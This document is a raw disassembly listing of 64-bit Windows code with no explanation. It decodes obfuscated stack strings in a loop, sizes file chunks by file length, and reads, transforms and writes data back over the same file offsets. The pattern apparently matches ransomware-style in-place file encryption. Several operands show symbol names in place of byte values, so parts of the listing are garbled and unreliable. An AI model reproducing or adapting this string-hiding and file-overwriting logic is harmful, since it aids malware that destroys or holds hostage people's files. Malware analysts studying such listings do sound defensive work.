mov byte [rsp + 0xb8], 3
mov byte [rsp + 0xb9], 4
mov byte [rsp + 0xba], 3
mov byte [rsp + 0xbb], WSAGetLastError
mov byte [rsp + 0xbc], 3
mov byte [rsp + 0xbd], shutdown
mov byte [rsp + 0xbe], 3
mov byte [rsp + 0xbf], 0x27
mov byte [rsp + 0xc0], 3
mov byte [rsp + 0xc1], 0x28
mov byte [rsp + 0xc2], 3
mov byte [rsp + 0xc3], pe_nt_image_headers64
mov byte [rsp + 0xc4], 3
mov byte [rsp + 0xc5], WSAGetLastError
mov byte [rsp + 0xc6], 3
mov byte [rsp + 0xc7], 0x3f
mov byte [rsp + 0xc8], 3
mov byte [rsp + 0xc9], 5
mov byte [rsp + 0xca], 3
mov byte [rsp + 0xcb], 0x4a
mov byte [rsp + 0xcc], 3
mov byte [rsp + 0xcd], 0x28
mov byte [rsp + 0xce], 3
mov byte [rsp + 0xcf], WSAGetLastError
mov byte [rsp + 0xd0], 3
mov byte [rsp + 0xd1], 0x5c
mov byte [rsp + 0xd2], 3
mov byte [rsp + 0xd3], WSAGetLastError
mov byte [rsp + 0xd4], 3
mov byte [rsp + 0xd5], gethostbyname
mov byte [rsp + 0xd6], 3
mov byte [rsp + 0xd7], WSAGetLastError
mov byte [rsp + 0xd8], 3
mov byte [rsp + 0xd9], WSACleanup
mov byte [rsp + 0xda], 3
mov byte [rsp + 0xdb], 0x28
mov byte [rsp + 0xdc], 3
mov byte [rsp + 0xdd], 4
mov byte [rsp + 0xde], 3
mov byte [rsp + 0xdf], 0x64
mov byte [rsp + 0xe0], 3
mov byte [rsp + 0xe1], 0x4b
mov byte [rsp + 0xe2], 3
mov byte [rsp + 0xe3], WSAGetLastError
mov byte [rsp + 0xe4], 3
mov byte [rsp + 0xe5], 4
mov byte [rsp + 0xe6], 3
mov byte [rsp + 0xe7], 0x42
mov byte [rsp + 0xe8], 3
mov byte [rsp + 0xe9], 0x55
mov byte [rsp + 0xea], 3
mov byte [rsp + 0xeb], 0x55
mov byte [rsp + 0xec], 3
mov byte [rsp + 0xed], shutdown
mov byte [rsp + 0xee], 3
mov byte [rsp + 0xef], 0x55
mov byte [rsp + 0xf0], 3
mov byte [rsp + 0xf1], WSAGetLastError
mov byte [rsp + 0xf2], 3
mov byte [rsp + 0xf3], 9
mov byte [rsp + 0xf4], 3
mov byte [rsp + 0xf5], WSAGetLastError
mov byte [rsp + 0xf6], 3
mov byte [rsp + 0xf7], 0x5c
mov byte [rsp + 0xf8], 3
mov byte [rsp + 0xf9], 0x4a
mov byte [rsp + 0xfa], 3
mov byte [rsp + 0xfb], 0x1b
mov byte [rsp + 0xfc], 3
mov byte [rsp + 0xfd], 3
mov byte [rsp + 0xfe], 3
mov bl, byte [rsp + 0xb0]
test bl, 1
jne 0x14000e1fe
mov ebp, 1
nop word cs:[rax + rax]
nop dword [rax]
movzx ebx, byte [rsp + rbp + 0xb0]
movzx ebx, bl
imul ebx, ebx, 0xfffffff5
mov edi, ebx
add edi, 0x21
movsx edi, di
imul edi, edi, 0xffff8103
shr edi, 0x10
add edi, ebx
add edi, 0x21
movzx edi, di
mov esi, edi
shr esi, 0xf
shr edi, 6
add edi, esi
mov esi, edi
shl esi, 7
sub edi, esi
add ebx, edi
add ebx, 0x21
add bl, 0x7f
movzx esi, bl
lea edi, [rsi + rsi*2]
shr edi, 8
mov ebx, esi
sub bl, dil
shr bl, 1
add bl, dil
shr bl, 6
movzx edi, bl
mov ebx, edi
shl ebx, 7
sub ebx, edi
sub sil, bl
mov byte [rsp + rbp + 0xb0], sil
add rbp, 1
cmp rbp, 0x4f
jne 0x14000dc30
jmp 0x14000e1fe
mov esi, 0x80000
cmp rax, 0x800001
jl 0x14000dd83
mov esi, 0x100000
cmp rax, 0x2000001
jl 0x14000dd83
mov esi, 0x200000
cmp rax, 0x8000001
jl 0x14000dd83
mov esi, 0x400000
cmp rax, 0x20000001
jl 0x14000dd83
mov esi, 0x800000
mov ecx, 0x80000001
cmp rax, rcx
jl 0x14000dd83
mov esi, 0x1000000
movabs rcx, 0x200000001
cmp rax, rcx
jl 0x14000dd83
mov esi, 0x2000000
movabs rcx, 0x800000001
cmp rax, rcx
jl 0x14000dd83
mov esi, 0x4000000
movabs rcx, 0x2000000001
cmp rax, rcx
jl 0x14000dd83
mov esi, 0x8000000
movabs rcx, 0x8000000001
cmp rax, rcx
jl 0x14000dd83
mov esi, 0x10000000
movabs rcx, 0x20000000001
cmp rax, rcx
jl 0x14000dd83
movabs rcx, 0x80000000000
xor esi, esi
cmp rax, rcx
setg sil
shl rsi, 0x1d
add rsi, 0x20000000
mov rcx, r12
mov rdx, rsi
call fcn.14000e390
test eax, eax
je 0x14000e206
mov dword [rsp + 0x70], 0
lea rcx, [rsi + 0x100000]
mov rax, qword [r12 + 0x10]
mov rdx, rax
shr rdx, 0x20
mov qword [rsp + 0x50], r13
je 0x14000e236
cqo
idiv rcx
mov rdi, rax
test rdi, rdi
jg 0x14000e245
jmp 0x14000e377
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rdx, qword [r12]
mov byte [rsp + 0xb0], 0
lea rcx, [rsp + 0xb1]
mov byte [rsp + 0xb1], WSAGetLastError
mov byte [rsp + 0xb2], 0x5c
mov byte [rsp + 0xb3], 0x59
mov byte [rsp + 0xb4], 0x5c
mov byte [rsp + 0xb5], gethostbyname
mov byte [rsp + 0xb6], 0x5c
mov byte [rsp + 0xb7], gethostbyname
mov byte [rsp + 0xb8], 0x5c
mov byte [rsp + 0xb9], 0x5a
mov byte [rsp + 0xba], 0x5c
mov byte [rsp + 0xbb], 0x59
mov byte [rsp + 0xbc], 0x5c
mov byte [rsp + 0xbd], gethostbyname
mov byte [rsp + 0xbe], 0x5c
mov byte [rsp + 0xbf], 0x64
mov byte [rsp + 0xc0], 0x5c
mov byte [rsp + 0xc1], 0x61
mov byte [rsp + 0xc2], 0x5c
mov byte [rsp + 0xc3], WSACleanup
mov byte [rsp + 0xc4], 0x5c
mov byte [rsp + 0xc5], WSAGetLastError
mov byte [rsp + 0xc6], 0x5c
mov byte [rsp + 0xc7], 0x64
mov byte [rsp + 0xc8], 0x5c
mov byte [rsp + 0xc9], 0x60
mov byte [rsp + 0xca], 0x5c
mov byte [rsp + 0xcb], 4
mov byte [rsp + 0xcc], 0x5c
mov byte [rsp + 0xcd], 2
mov byte [rsp + 0xce], 0x5c
mov byte [rsp + 0xcf], 9
mov byte [rsp + 0xd0], 0x5c
mov byte [rsp + 0xd1], 0x60
mov byte [rsp + 0xd2], 0x5c
mov byte [rsp + 0xd3], 4
mov byte [rsp + 0xd4], 0x5c
mov byte [rsp + 0xd5], 2
mov byte [rsp + 0xd6], 0x5c
mov byte [rsp + 0xd7], 0x59
mov byte [rsp + 0xd8], 0x5c
mov byte [rsp + 0xd9], gethostbyname
mov byte [rsp + 0xda], 0x5c
mov byte [rsp + 0xdb], 0x64
mov byte [rsp + 0xdc], 0x5c
mov byte [rsp + 0xdd], 4
mov byte [rsp + 0xde], 0x5c
mov byte [rsp + 0xdf], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0xe0], 0x5c
mov byte [rsp + 0xe1], 0x7d
mov byte [rsp + 0xe2], 0x5c
mov byte [rsp + 0xe3], 4
mov byte [rsp + 0xe4], 0x5c
mov byte [rsp + 0xe5], 0
mov byte [rsp + 0xe6], 0x5c
mov byte [rsp + 0xe7], 4
mov byte [rsp + 0xe8], 0x5c
mov byte [rsp + 0xe9], 0x64
mov byte [rsp + 0xea], 0x5c
mov byte [rsp + 0xeb], 0x60
mov byte [rsp + 0xec], 0x5c
mov byte [rsp + 0xed], 0x60
mov byte [rsp + 0xee], 0x5c
mov byte [rsp + 0xef], 9
mov byte [rsp + 0xf0], 0x5c
mov byte [rsp + 0xf1], 0x60
mov byte [rsp + 0xf2], 0x5c
mov byte [rsp + 0xf3], 0x1d
mov byte [rsp + 0xf4], 0x5c
mov byte [rsp + 0xf5], 4
mov byte [rsp + 0xf6], 0x5c
mov byte [rsp + 0xf7], 0x77
mov byte [rsp + 0xf8], 0x5c
mov byte [rsp + 0xf9], 0x64
mov byte [rsp + 0xfa], 0x5c
mov byte [rsp + 0xfb], 0x1b
mov byte [rsp + 0xfc], 0x5c
mov byte [rsp + 0xfd], 0xa
mov byte [rsp + 0xfe], 0x5c
mov byte [rsp + 0xff], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x100], 0x5c
mov byte [rsp + 0x101], 0x7d
mov byte [rsp + 0x102], 0x5c
mov byte [rsp + 0x103], 0x1b
mov byte [rsp + 0x104], 0x5c
mov byte [rsp + 0x105], 0x3d
mov byte [rsp + 0x106], 0x5c
mov byte [rsp + 0x107], 0x60
mov byte [rsp + 0x108], 0x5c
mov byte [rsp + 0x109], 0x60
mov byte [rsp + 0x10a], 0x5c
mov byte [rsp + 0x10b], 9
mov byte [rsp + 0x10c], 0x5c
mov byte [rsp + 0x10d], 0x60
mov byte [rsp + 0x10e], 0x5c
mov byte [rsp + 0x10f], 4
mov byte [rsp + 0x110], 0x5c
mov byte [rsp + 0x111], 0x53
mov byte [rsp + 0x112], 0x5c
mov byte [rsp + 0x113], 4
mov byte [rsp + 0x114], 0x5c
mov byte [rsp + 0x115], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x116], 0x5c
mov byte [rsp + 0x117], gethostbyname
mov byte [rsp + 0x118], 0x5c
mov byte [rsp + 0x119], gethostname
mov byte [rsp + 0x11a], 0x5c
mov byte [rsp + 0x11b], 0x1d
mov byte [rsp + 0x11c], 0x5c
mov byte [rsp + 0x11d], 0x5c
mov byte [rsp + 0x11e], 0x5c
mov bl, byte [rsp + 0xb0]
test bl, 1
jne 0x14000e1fe
mov ebp, 1
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ebx, byte [rsp + rbp + 0xb0]
movzx ebx, bl
imul ebx, ebx, 0xffffffdd
mov edi, ebx
add edi, 0xc94
movsx edi, di
imul edi, edi, 0xffff8103
shr edi, 0x10
add edi, ebx
add edi, 0xc94
movzx edi, di
mov esi, edi
shr esi, 0xf
shr edi, 6
add edi, esi
mov esi, edi
shl esi, 7
sub edi, esi
add ebx, edi
add ebx, 0xc94
add bl, 0x7f
movzx esi, bl
lea edi, [rsi + rsi*2]
shr edi, 8
mov ebx, esi
sub bl, dil
shr bl, 1
add bl, dil
shr bl, 6
movzx edi, bl
mov ebx, edi
shl ebx, 7
sub ebx, edi
sub sil, bl
mov byte [rsp + rbp + 0xb0], sil
add rbp, 1
cmp rbp, 0x6f
jne 0x14000e180
mov r8d, eax
call fcn.14000eec0
xor edi, edi
mov rcx, qword [rsp + 0x128]
xor rcx, rsp
call fcn.140031ee0
mov eax, edi
movaps xmm6, xmmword [rsp + 0x130]
add rsp, 0x148
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor edx, edx
div ecx
mov edi, eax
test rdi, rdi
jle 0x14000e377
xor ebx, ebx
lea rbp, [rsp + 0x70]
lea r13, [rsp + 0xb0]
mov r14, qword [sym.imp.KERNEL32.DLL_WriteFile]
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x58], rdi
test rbx, rbx
je 0x14000e289
mov rcx, qword [r12 + 8]
mov rdx, rsi
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
test eax, eax
je 0x14000e377
mov rcx, qword [r12 + 8]
mov qword [rsp + 0x20], 0
mov rdx, qword [rsp + 0x40]
mov r8d, 0x100000
mov r9, rbp
call qword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x14000e377
mov r15d, dword [rsp + 0x70]
test r15d, r15d
je 0x14000e377
mov dword [rsp + 0x20], r15d
xor ecx, ecx
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x40]
mov r9, r8
call fcn.1400048a0
mov edx, dword [rsp + 0x70]
neg rdx
mov rcx, qword [r12 + 8]
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
test eax, eax
je 0x14000e377
mov qword [rsp + 0x48], rbx
mov rdi, qword [r12 + 8]
mov dword [rsp + 0xb0], 0
xor ebx, ebx
mov ebp, r15d
xor esi, esi
nop word cs:[rax + rax]
nop
mov edx, ebx
add rdx, qword [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov r8d, ebp
mov r9, r13
call r14
test eax, eax
je 0x14000e377
mov eax, dword [rsp + 0xb0]
test eax, eax
je 0x14000e377
add ebx, eax
add esi, eax
sub ebp, eax
cmp esi, r15d
jne 0x14000e320
mov rbx, qword [rsp + 0x48]
add rbx, 1
mov rdi, qword [rsp + 0x58]
cmp rbx, rdi
mov rsi, qword [rsp + 0x60]
lea rbp, [rsp + 0x70]
jne 0x14000e265
mov edi, 1
jmp 0x14000e208